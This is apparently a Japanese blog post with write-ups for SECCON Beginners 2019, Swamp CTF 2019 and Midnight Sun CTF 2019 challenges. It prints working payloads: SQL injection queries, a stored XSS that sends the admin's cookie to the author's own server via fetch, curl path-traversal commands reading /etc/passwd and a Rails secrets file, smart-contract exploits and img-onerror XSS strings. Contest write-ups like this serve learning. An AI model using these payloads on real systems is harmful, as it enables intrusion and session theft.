teppay’s log

*について書きます

SECCON Beginners 2019 Writeup

はじめに

  • SECCON Beginners 2019に個人参加しました
  • 個人的目標としてはWebの全完だったのですが,1問解けなかったのでBeginnerになれませんでした
  • ただし,全ジャンルの中で最もSolveが少なかった(一番最後に出題されたからかも?)問題を解けたのでそこは勉強の成果がでてるかなと思います.
  • Web以外もちょっとときましたが,WriteupはWebだけ

Writeup

Ramen [warmup, web] (293 solves, 73pt)

ラーメン 
https://ramen.quals.beginners.seccon.jp/

ラーメン屋さんを検索するフォームでSQL Injectionができた. まず以下の入力で,flagが入っているtableを見つけて ' UNION SELECT table_name, null FROM information_schema.tables --

以下の入力でFlagゲット ' UNION SELECT flag, null FROM flag --

ctf4b{a_simple_sql_injection_with_union_select}

katsudon [web] (217 solves, 101 pt)

### Rails 5.2.1で作られたサイトです。
###  https://katsudon.quals.beginners.seccon.jp 
### クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
### フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

https://katsudon.quals.beginners.seccon.jp/

https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

どういう意図のサイトかよくわからなかったが,トップページにはなんかいろんなお店のシリアルコードがあった. /flagにFlagがあると言われたので見に行ってみると,同じようなシリアルコードがあった.

例示されたシリアルコードの前半部分がBase64ぽかったのでデコードしてみると真ん中あたりに店名のローマ字表記があった. とりあえずFlagのシリアルコードの前半もBase64デコードしてみたら,Flagが出てきた笑 Railsなにも関係ないし,たぶん想定解法ではない

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Himitsu [web] (32 solves, 379 pt)

抱え込まないでくださいね。 
https://himitsu.quals.beginners.seccon.jp/

自分の秘密を投稿するWebサイトがあって,adminの秘密にFlagがある

ただし投稿する際に以下のような書き方が使える f:id:teppay:20190526163912p:plain そしてそれぞれの秘密を投稿したあとは,秘密を運営(admin)に打ち明けることができる この仕組み的におそらく以下のような方針が立った

  1. 秘密のページにXSSを仕込む
  2. adminに秘密を打ち明け,XSSによりCookieに保存されたセッションキーを奪取
  3. 奪取したセッションキーを利用してadminの秘密(Flag)をのぞき見

記事IDによってページタイトルを埋め込んでくれる機能(以下,タイトル埋め込み機能)が明らかに怪しいのでその周辺を見ていく ソースコードの記事追加処理の中のタイトル埋め込み機能部分は以下のようになっており,埋め込まれる記事のタイトルに<>"\'が入っている場合はエラーになるため,単純に<script>alert()</script>などをタイトルにして埋め込むことはできない. ただし,存在しない記事IDを参照していてもエラーはない.

            // here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
            preg_match_all('/\[#(.*?)#\]/', $body, $matches);
            foreach(range(0, count($matches)-1) as $i){
                $found_article_key = $matches[1][$i];
                $found_article = $mapper->getArticle($found_article_key);
                if (preg_match('/[<>"\']/', $found_article['title'])){
                    return $this->app->renderer->render($response, 'new.twig', [
                        'error_message' => '埋め込み先の記事タイトルが不正です。',
                        'title' => $data['title'],
                        'abstract' => $data['abstract'],
                        'body' => $data['body'],
                        'token' => *$this*->get_csrf_token($request)                        
                    ]);
                }
            }

一方で,投稿後に記事を表示する際のタイトル埋め込み機能では以下のようにチェックがない

preg_match_all('/\[#(.*?)#\]/', $article['body'], $matches);
                foreach(range(0, count($matches)-1) as $i){
                    $found_article_key = $matches[1][$i];
                    $found_article = $mapper->getArticle($found_article_key);
                    $expanded_article = "<a href=\"/articles/${found_article['article_key']}\">${found_article['title']}</a>";
                    $article['body'] = str_replace($matches[0][$i], $expanded_article, $article['body']);
                }

また記事ID($article_key)の生成方法は以下のようになっていた

public function createArticle($username, $title, $abstract, $body) {
        $created_at = date("Y/m/d H:i");
        $article_key = md5($username . $created_at . $title);
(省略)

記事IDはユーザ名と記事の作成時間(分まで)とタイトルから生成されているため,まだ投稿前のIDでも予測可能.

これらから,以下の手順でXSSを起こすことができることがわかった

  1. 記事タイトルを<script>alert('XSS')</script>として,未来の投稿時間(数分後)で記事IDを求める.(まだ投稿しない)
  2. 求めた記事IDをタイトル埋め込み機能を利用して埋め込んだ記事を投稿する(記事1)
  3. 1で指定した投稿時間になったら1で決めたタイトルにして記事を投稿する(記事2)
  4. 記事1を開くとpop alert!!

具体的には以下のような感じ

  • まず,現在の時刻が2019/5/26 12:00だとして,記事2の投稿時間を12:02, ユーザ名をteppayとすると記事IDは以下のコードで求まる
$article_key = md5("teppay" . "2019/5/26 12:00" . "<script>alert('XSS')</script>");

b53af539bd147b896c0dbb6424c422ed

  • 求まった記事2の記事IDを記事1に埋め込む よって記事1は記事のbody以外は適当でbodyは以下のようになる.
[#b53af539bd147b896c0dbb6424c422ed#]

この時点では記事2は投稿されていないためタイトルは埋め込まれないが,そのおかげで<>"\'のチェックに引っかかることもない.

  • 2019/5/26 12:02になったら記事2を先に決めたタイトル(<script>alert('XSS')</script>)で投稿する.
  • 記事1を開くとpop alert!!

あとは上と同じ手順で<script>fetch('http://<my_server>/?'+document.cookie)</script>を埋め込んで,その記事をadminに送り読んでもらうと,<my_server>宛にアクセスがあり,セッションキーがもらえる.そのセッションキーをセットしてもう一度アクセスするとFlagが投稿されている.

ctf4b{simple_xss_just_do_it_haha_haha}

katsudon-okawari [web] (8 solves, 469 pt)

クーポンの管理画面なんだよな...
https://katsudon-okawari.quals.beginners.seccon.jp/
https://katsudon-okawari.quals.beginners.seccon.jp/flag

途中で追加された たぶんkatsudonで想定解法以外の解法が見つかってそれが修正されたんだと思う.(実際katsudonはRailsのバージョンなんて関係ない解法だったし)

katsudonの問題文にある通りおそらくRails 5.2.1で作られたサイトである そこでそのバージョンの脆弱性について調べてみると, GMOペパボのブログがでてきたRails 4, 5, 6における Security Fix について - ペパボテックブログ

ここで説明されているとおり細工したヘッダを送ってみると,/etc/passwdを取得できた

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/storelists -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'

/flagにアクセスしてみると,katsudonとは違う形式のシリアルコードが表示された.

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==

また/couponのソースを確認すると以下のようなコメントがあった

<!-- debug: app/controllers/coupon_controller.rb -->

そこで以下のようにアクセスしてみるとrubyなファイルが取得できた

curl https://katsudon-okawari.quals.beginners.seccon.jp/storelists -H 'Accept: ../../../app/controllers/coupon_controller.rb{{'
class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end

またRailsは全くわからないので,GitHub - railstutorial/sample_app_rails_4: The reference implementation of the sample app for the Ruby on Rails Tutorial (Rails 4)を見ながらいろんなファイルを取得していく

config/application.rbを取得すると,

require_relative 'boot'

require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
# require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_view/railtie"
require "action_cable/engine"
require "sprockets/railtie"
require "rails/test_unit/railtie"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module KatsudonReturn
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 5.2

    config.require_master_key = false
    config.x.secrets = ActiveSupport::InheritableOptions.new(config_for(:secrets))
    config.secret_token = config.x.secrets.secret_key_base
    # Settings in config/environments/* take precedence over those specified here.
    # Application configuration can go into files in config/initializers
    # -- all .rb files in that directory are automatically loaded after loading
    # the framework and any gems in your application.
  end
end

以下の部分でクーポンの生成?に使われるsecret_key_baseを読み込んでいる?

config.x.secrets = ActiveSupport::InheritableOptions.new(config_for(:secrets))
config.secret_token = config.x.secrets.secret_key_base

そこでconfig/secrets.ymlを取得してみると, secret_key_baseがもらえた.

(省略)
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

あとはクーポンの生成?の逆をやれば良さそう. rails consoleを利用して以下のようなコードを実行してFlagゲット

key = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31]
msg_encryptor = ::ActiveSupport::MessageEncryptor.new(key, cipher: "aes-256-gcm")
flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==')
p flag

ctf4b{06a46a95f2078ae095470992cd02f419}

Swamp CTF2019 Writeup

はじめに

  • 就活やらなんやらが落ち着いたのでひっさしぶりにCTFをやった Part 2
  • スマートコントラクト問を初めてやった?けど楽しかった
  • もう一個も脆弱な部分はわかったけど解けないのがあって悔しい
  • スマートコントラクト問は簡単なのでも意外とSolve数が少なかったので狙い目かなと思った.

Writeup

Multi-Owner Contract [Smart Contract]

pragma solidity ^0.4.24;

contract Ownable {

    event OwnerAdded(address);
    event OwnerRemoved(address);

    address public implementation;
    mapping (address => bool) public owners;

    modifier onlyOwner() {
        require(owners[msg.sender], "Must be an owner to call this function");
        _;
    }

    /** Only called when contract is instantiated
      */
    function contructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
        owners[msg.sender] = true;
    }

    /** Add an owner to the owners list
     *  Only allow owners to add other owners
     */
    function addOwner(address _owner) public onlyOwner { 
        owners[_owner] = true;
        emit OwnerAdded(_owner);
    }

    /** Remove another owner
     *  Only allow owners to remove other owners
     */
    function removeOwner(address _owner) public onlyOwner { 
        owners[_owner] = false;
        emit OwnerRemoved(_owner);
    }

    /** Remove all owners mapping and relinquish control of contract*
     */
    function renounceOwnership() public {
        assembly {
            sstore(owners_offset, 0x0)
        }
    }
    
    /** CTF helper function*
     *  Used to clean up contract and return funds*
     */
    function killContract() public onlyOwner {
        selfdestruct(msg.sender);
    }

    /** CTF helper function*
     *  Used to check if challenge is complete*
     */
    function isComplete() public view returns(bool) {
        return owners[msg.sender];
    }

}

このCTFには複数のSmart Contract問があって,すべての問題においてContractをisComplete()trueを返す状態にすることがFlagの条件.

この問題は簡単でconstructor()の書き方が間違っている. Solidityにおいて,constructorメソッドは特殊メソッドでコントラクトがDeployされる際に1度のみ実行され(通常のコンストラクタと同様),それ以降実行することができない. コンストラクタはよくそのコントラクトのownerを指定する処理が書かれるなど重要なメソッドであるため,通常のメソッドと違い以下のように特殊な書き方をする.

constructor() public{
     /**/         
}

ただしこのコントラクトでは書き方が間違っているため通常のメソッドと同様に実行が可能である. これを実行することで自分のアカウントをownerに追加できるためisCompleteの条件を満たすことができる flag{3v3ryb0dy5_hum4n_r34d_c10s31y}

Hash Slinging Slasher [Smart Contract]

pragma solidity ^0.4.24;

contract HashSlingingSlasher {
    
    bytes32 answer = 0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1;
    
    constructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");        
    }

    /** Guess the hashed number. Refunds ether if guessed correctly*
     */
    function guess(uint16 number) public payable {
        require(msg.value == 0.25 ether, "Must send 0.25 Ether");
        if(keccak256(abi.encodePacked(number)) == answer) {
            msg.sender.transfer(address(this).balance);
        }
    }
    
    /** Returns balance of this contract*
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    /** CTF helper function*
     *  Used to check if challenge is complete*
     */
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    
}

このコントラクトはハッシュ当てゲーム? SHA3でハッシュ化したときにソースコードにハードコーディングされているハッシュ値と等しくなる数値を入力できればクリア.

このコントラクトではguessメソッドで数値を入力するわけだが,このメソッドを実行するためには1回につき0.25etherかかるため,一見ブルートフォース対策がされているように見える.しかしハッシュ値はすでに知っているためいわゆるオフライン攻撃が可能になっている.またguessメソッドの入力値はuint16であるためたかだか65536(=216)回の試行で答えを求めることができる.

以下のスクリプトで入力値を求めると13337であるということがわかったのでguessメソッドを実行してあげれば終わり

from web3 import Web3
for i in range(2**16):
    if Web3.sha3(i).hex() == '0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1':
        print(i)

flag{0n_th3_b10ckch41n_3v3ryth1ng_15_pub1ic}

Midnight Sun CTF 2019 Writeup

はじめに

  • 就活やらなんやらが落ち着いたのでひっさしぶりにCTFをやった
  • 簡単なのしか解けなかったけど楽しかった

Writeup

Marcodowno[Web]

こんなページでユーザの操作なしにalert(1)をPopできるURLを見つけて提出しなさいという問題.

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href=" [/static/style.css](http://marcodowno-01.play.midnightsunctf.se:3001/static/style.css) " />
<script src=" [https://code.jquery.com/jquery-3.3.1.slim.min.js](https://code.jquery.com/jquery-3.3.1.slim.min.js) "></script>
</head>

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

function markdown(text){
text = text.replace(/[<]/g, '').replace(/----/g,'<hr>').replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').replace(/__([^_]+)__/g, '<b>$1</b>').replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').replace(/\* ([^*]+)/g, '<li>$1</li>').replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').replace(/### ([^#\n]+)/g, '<h3>$1</h3>').replace(/## ([^#\n]+)/g, '<h2>$1</h2>').replace(/# ([^#\n]+)/g, '<h1>$1</h1>').replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').replace(/\n/g, "<br>");
return text;
}

window.onload=function(){
$("#markdown").text(input);
$("#rendered").html(markdown(input));
}

</script>

<h1>Input:</h1><br>
<pre contenteditable id="markdown" class="background-grey"></pre><br>
<br>
<button onclick='$("#rendered").html(markdown($("#markdown").text()))'>Update preview</button>
<hr>
<br>
<h1>Preview:</h1><br>
<div id="rendered" class="rendered background-grey"></div>

このページではJavaScriptのreplaceのみでMarkdownをHTMLに変換してPreviewしている.

シンプルに<script>alert(1)</script>を入力してみたけど,

.replace(/[<]/g, '')

これに引っかかってうまく行かなかった.

imgタグに変換するためのこの部分に着目すると

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

画像URLの部分は制限が厳しいが,alt属性の方はガバガバなのでここでXSSができる よってペイロード

![aaa" onerror="alert(1)](http://example.com)

よって解答URLは

http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=![aaa" onerror="alert(1)](http://example.com)

Marcozuckerbergo[Web]

この問題は上の問題におけるMarkdownがmermaid.jsへの入力を指定して好きな図を表示することができるWebアプリケーションで,上の問題と同様にalert(1)を実行するURLを見つける問題.

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href=" [/static/style.css](http://marcozuckerbergo-01.play.midnightsunctf.se:3002/static/style.css) " />
<script src=" [https://code.jquery.com/jquery-3.3.1.slim.min.js](https://code.jquery.com/jquery-3.3.1.slim.min.js) "></script>
<script src=" [https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.0.0/mermaid.min.js](https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.0.0/mermaid.min.js) "></script>
<script>mermaid.initialize({startOnLoad:false});</script>
</head>

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

window.onload=function(){
$("#markdown").text(input);
$("#render").text($("#markdown").text());
mermaid.init(undefined, $("#render"));
}

function rerender(){
try{
$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));
}catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
}
}

</script>

<h1>Input:</h1><br>
<pre contenteditable id="markdown" class="background-grey"></pre><br>
<br>
<button onclick='rerender()'>Update preview</button>
<hr>
<h1>Preview:</h1>
<div id="render" class="mermaid"></div>

これはMarcodownoと同様にimgタグを使えば良い 参考にしたサイト→ javascript - How to embed an image in a node with "mermaid.js" - Stack Overflow よってペイロードは以下の通り

graph LR;
Systemstart-->SomeIcon(<img src='http://example.com' onerror='alert`1`'/>)